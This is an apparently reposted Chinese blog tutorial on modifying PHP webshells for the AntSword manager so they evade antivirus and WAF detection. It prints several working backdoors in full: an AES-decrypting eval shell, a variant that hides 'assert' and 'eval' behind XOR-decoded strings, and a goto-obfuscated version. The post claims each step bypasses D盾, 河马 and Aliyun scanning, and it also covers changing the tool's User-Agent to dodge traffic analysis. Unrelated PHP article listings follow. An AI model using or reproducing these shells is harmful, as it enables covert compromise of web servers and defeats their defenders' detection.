php_webshell免杀--从0改造你的AntSword

AntSword0x00 前言:为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造一些弱特征,通过流量转换,跳过密钥交互。

但是,冰蝎需要反编译去改造源码,再进行修复bug,也比较复杂。而AntSword相对于冰蝎来说,不限制webshell,即一句话也可以进行连接,还可以自定义编码器和解码器,可以很容易让流量做到混淆。

0x01 蚁剑介绍及其改编:关于蚁剑的介绍,这里就不多说了,一个连接webshell的管理器,使用前端nodejs进行编码。AntSword给我最大的好处是可以连接一句话木马,而且可以自定义编码器和解码器。这让我们就有了很多种webshell的变换。

但是,蚁剑默认的编码器和菜刀都是一样的,这里用burpsuite来进行抓包看下流量。

蚁剑默认流量

返回来的是默认蚁剑的默认流量,所以的话,这里就基本上过不去态势感知和waf,所以很容易想到了编码器和解码器的选择,可以进行流量的改造来进行waf的绕过,先选用最默认的base64进行测试。

默认的base64编码器

但是看到了使用base64编码之后是有eval字样的,这样的话,肯定被态势感知和全流量一体机来进行特征的抓取,肯定会报威胁。

去github上找到蚁剑的编码器和对应的解码器github地址:(编码器)

这里下载默认的aes-128的默认流量。

默认编码器的webshell

<?php

@session_start();

$pwd='ant';

$key=@substr(str_pad(session_id(),16,'a'),0,16);

@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));

>

默认webshell讲解:这里打开session_start,然后截取Cookie中的PHPSESSION的16位。

然后进行aes加密,密码为pwd

再D盾,河马和阿里云进行扫描:

河马没有查出来,可能是比较弱

阿里云直接报恶意

初步修改后的webshell:<?php

@session_start();

error_reporting(E_ALL^E_NOTICE^E_WARNING);

functiondecode($key,$data){

$data_new = '';

for($i=0;$i<=strlen($data);$i++){

$b=$data[$i]^$key;

$data_new = $data_new.urldecode($b);

}

define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_new[11].strrev($data_new)[4].strrev($data_new)[0]);

define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_new)[6].'($result)');

return$data_new;

}

functiondecrypto($key,$data){

$data = base64_decode($data);

$result = openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);

decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');

$ass=ass;

$ass(ev);

}

classrun{

public$data;

publicfunction__construct(){

$this->data = '#````````#'.$_POST[1]."#`#`#";

$this->data = $this->data."123456";

}

}

$key=@substr(str_pad(session_id(),16,'a'),0,16);

$run = new run();

decrypto($key,$run->data);

>

这里能过去D盾,但是无法绕过阿里云查杀。

所以这里还需要进行代码混淆。(这也是之后webshell免杀常常用到的)

混淆之后的webshell:这里提供php在线加密的站

https://enphp.djunny.com/

这里加密之后生成webshell。如下:

goto Zc4oD; UJih6: functiondecrypto($key, $data) { goto LBrqg; P6YrI: $ass = ass; goto aR6yN; svn0O: $result = openssl_decrypt($data, "\x41\x45\x53\x2d\x31\x32\70\55\105\x43\x42", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING); goto ATbMy; LBrqg: $data = base64_decode($data); goto svn0O; ATbMy: decode("\x5c", "\75\72\x3d\157\x6d\x3e\x6e\x3f\x6f\x38\x68\71\151\x3a\x6a\x3b\x6b\x2a\x64\x30\x65\56\x6c\57\155\50"); goto P6YrI; aR6yN: $ass(ev); goto k6RVH; k6RVH: } goto DGZMG; WvjFi: ini_set("\144\151\x73\160\x6c\x61\x79\x5f\145\162\x72\x6f\162\x73", "\117\146\x66"); goto Wguwk; DGZMG: classrun{ public$data; publicfunction__construct() { $this->data = "\43\140\x60\140\140\x60\140\x60\x60\43" . $_POST[1] . "\x23\140\x23\140\43"; } } goto Berxy; UUYvT: $run = new run(); goto apKNY; Berxy: $key = @substr(str_pad(session_id(), 16, "\141"), 0, 16); goto UUYvT; Zc4oD: @session_start(); goto WvjFi; Wguwk: functiondecode($key, $data) { goto LGJR3; Ef77S: $i = 0; goto KvZGg; rSTXM: define("\141\x73\x73", $data_new[0] . strrev($data_new)[2] . strrev($data_new)[2] . $data_new[11] . strrev($data_new)[4] . strrev($data_new)[0]); goto TQ6r4; Tbglr: return$data_new; goto FsE2S; tm2qt: goto I39OV; goto eF7jG; AqTZZ: $data_new = $data_new . urldecode($b); goto FriN_; TQ6r4: define("\x65\166", $data_new[11] . strrev($data_new)[8] . $data_new[0] . strrev($data_new)[6] . "\50\x24\x72\145\163\165\154\x74\51"); goto Tbglr; FriN_: bLexq: goto gITff; eF7jG: RuTl1: goto rSTXM; gITff: $i++; goto tm2qt; KdSCg: if (!($i <= strlen($data))) { goto RuTl1; } goto d9N4J; d9N4J: $b = $data[$i] ^ $key; goto AqTZZ; LGJR3: $data_new = ''; goto Ef77S; KvZGg: I39OV: goto KdSCg; FsE2S: } goto UJih6; apKNY: decrypto($key, $run->data);

经过加密之后,可以发现,进行了goto的混淆,所以这里就达到了代码混淆。因为之前绕过了D盾和河马,这里直接去阿里云查杀。

已经成功绕过阿里云查杀。用burpsuite抓下流量特征。

从流量加密来分析的话,已经能绕过态势感知和全流量分析机。

蚁剑UA头的修改:在burp的数据包中能清楚的看到蚁剑的特征

在目录/modules/request.js文件中修改UA头

/modules/update.js文件修改

0x03 总结:关于免杀来说,通常是进行代码加密混淆,特征码替换或者分割传输等情况。之前有想写过shellcode免杀,但是还没有过windows defender,所以就推迟一段时间来写。感谢各位拜读。

原文于:https://forum.butian.net/share/1996原文作者:用户773616194

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!如侵权请私聊我们删文

END

多一个点在看

多一条小鱼干

「点点赞赏,手留余香」

赞赏

  • 照烧鸡肉斯基
  • 百变才女gem
  • 链家地产小赵Z
  • 3人赞过
3
0
0
评论 0 请文明上网,理性发言

相关文章

  • 犹记得,据2001年7月的PHP官方文档描述,"PHP是有史以来最好的语言,没有之一。它快速,非常强大,而且免费。"不过,随着时间的迭代,不少开发者发现所谓世界上最好的语言PHP,虽然能极大地提升性能,但是其功能不够完善最终导致PHP开始走上了下坡路,对此,你怎么看? 作者|ItaloBaeza 译者|孙薇,责编|屠
    粉紅来電 7 0 0 条评论
  • 作者|OscarMerida译者|弯月 出品|CSDN(ID:CSDNnews)PHP是一门有趣的编程语言。语言与利用语言构建的程序通常属于两种设计理念。这里我指的不是瀑布式或敏捷之类的软件开发生命周期,而是软件管理的基本思想。有人将这些思想称为"正确的方式"以及"WorseisBetter"。 PHP包含一些奇怪的
    纸牌K 7 5 0 条评论
  • 作者|Brent 译者|张兰月 这篇文章不在于解决关于PHP的那个永恒话题,而是想让你了解,PHP在这些年的进展以及那些值得关注的特性与发展现状。 之前,有一篇非常流行的博客文章是"PHP:那些糟糕的设计",第一次读到这篇博客的时候,我正在一个非常破旧的地方工作,处理着许多PHP遗留项目。这篇博客对我触动很深,我开
    半世凄凉shine 3 0 0 条评论
  • 点击上方"程序员软件库",选择"星标" 第一时间关注软件资讯干货!作者|ClementBrian译者|弯月 出品|CSDN(ID:CSDNnews)万物有开始就有结束。而如今PHP也步入了暮年。在这个时代,长盛不衰的唯一方法就是无可取代。一门技术如非必不可少,就会被慢慢遗忘。PHP不仅可有可无,而且会加剧开发工作的复
    wuquwuquq 6 0 0 条评论
  • 晓查乾明发自凹非寺 这些结果之中,不乏有2016年、2018年的结果,说PHP已经过时了。 现已2019年,这个曾经自称为"世界上最好的语言"PHP,情况如何? 一位名叫Brent的程序员小哥,写了一篇博客文章,介绍了PHP在2019年的情况。 他说,现在的PHP每年都会积极开发新版本,从2004年发布PHP5以来性
    cvbcvb0975 4 0 0 条评论
  • 来源:OSC-王练 随着上周PHP7.3Alpha3的发布,意味着PHP7.3即将进入特性冻结阶段,不再有新的功能添加,后续的Beta和RC版本将主要进行修复,直到11月29日发布正式版本。 从目前的更新说明来看,PHP7.3并不是一个主打新特性的版本,包含更多的是Bug修复。PHP7.3删除了对BeOS的支持,改进
    淫雨的炎之魔神 9 3 0 条评论
  • 作者|BENJAMES 译者|Arvin,责编|夕颜 出品|CSDN(ID:CSDNnews)1995年6月,拉斯穆斯·勒多夫(RasmusLerdorf)在Usenet小组中发布了一则如下公告。公告至今还在,随时可以阅读。 公告: 正式发布个人主页工具(PHP工具)1.0版本。这些工具是一组用C编写的小巧紧凑的cg
    鸡鸭冻品 3 0 0 条评论
  • 1、所有应聘人员要求:人品要正、心术要正,能力不够可以培养,但人品不能缺失。 2、处于快速上升期的米宅有能力、也有信心给加盟的朋友们提供更好的发展空间、更好的工作环境、更好的未来回报。 3、所有岗位工资标准:行业中等偏上,不敢追求太高,但绝不能低于行业平均水平。 工作地点:郑东新区CBD、地铁口 额外回报:优秀人员有股
    颠覆流离才懂 8 1 0 条评论
  • 从PHP8.0之后,我参与PHP开源就少了,从而博客也写的少了,不少朋友来问,所以觉得有必要用一篇文章说明下近况。 总的来说,本职工作发生了一些变化,导致工作上的事情,牵扯了太多的精力,从而没有办法有太多的精力投入PHP开源工作中。 而关于,工作的变化,我稍微介绍下: 0x01 从2018年开始,我的主要工作基本上就是
    lrfd755 7 0 0 条评论
  • 选自Medium 作者:VladimirGoncharov 机器之心编译 参与:HuiyuanZhuo、思源、刘晓坤 作者VladimirGoncharov平常主要关注与研究两个主题:PHP和ServerAdministration(服务器管理)。在过去的半年中,作者利用空闲时间探索PHP与OpenCV的结合,并借此调
    悠优悠优悠途 6 0 0 条评论